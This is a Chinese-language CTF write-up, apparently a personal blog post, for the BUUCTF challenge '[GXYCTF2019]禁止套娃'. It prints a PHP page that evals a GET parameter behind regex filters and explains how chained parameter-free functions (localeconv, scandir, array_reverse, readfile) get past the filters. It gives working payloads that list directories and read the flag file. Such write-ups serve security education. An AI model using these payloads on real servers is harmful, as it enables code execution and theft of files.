NineOnee

导航

 

无参数RCE

前言

  • 环境:buuctf中[GXYCTF2019]禁止套娃
  • 知识点:无参数读文件和RCE
  • 参考:博客

做题

进去题目,f12没提示,响应包没提示,扫后台的话,buu扫会导致429,难搞看了wp是git泄露,但是我用GitHack却还原不了。。不知道啥原因

index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

审计,绕过三个正则,第一个正则是防伪协议的,第三个正则防一些关键字,第二个正则,额。。看不懂

​ 正则知识

​ \w :匹配包括下划线的任何单词字符,等价于 [A-Za-z0-9_]

​ \W :匹配任何非单词字符,等价于 [^A-Za-z0-9_]

​ (?R)?这个意思为递归整个匹配模式

那么这里第二个正则表示的意思大概是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

举个例子:

a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用

所以我们要使用无参数的函数进行文件读取或者命令执行

以下payload都是从博客,瞟来的

读取当前目录

​ localeconv()

​ localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

​ current()返回数组中的单元,默认取第一个值

​ print_r(scandir(current(localeconv())));成功打印出当前目录下文件

​ 或者使用print_r(scandir(pos(localeconv())));,pos是current的别名

​ 如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值

​ 即print_r(scandir(reset(localeconv())))

​ 正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名

​ 获取绝对路径可用的有getcwd()和realpath('.')

​ 所以我们还可以用print_r(scandir(getcwd()));和print_r(scandir(realpath('.')));输出当前文件夹所有文件名

读取当前目录下文件

​ 手册里有这些方法,如果要获取的数组是最后一个我们可以用:

​ show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可 以(使用readfile和file_get_contents读文件,显示在源码处)

​ ps:readgzfile()也可读文件,常用于绕过过滤

​ array_reverse() 以相反的元素顺序返回数组

​ zflag.php本来在最后一位,反过来就成为第一位,可以直接用current(pos)读取,即 show_source(current(array_reverse(scandir(getcwd()))));

​ 如果是倒数第二个我们可以用:

​ show_source(next(array_reverse(scandir(getcwd()))));

所以这题可以构造payload:

读取目录

?exp=print_r(scandir(current(localeconv())));

读取flag文件

?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

posted on 2020-12-01 23:20  NineOne_E  阅读(80)  评论(0编辑  收藏  举报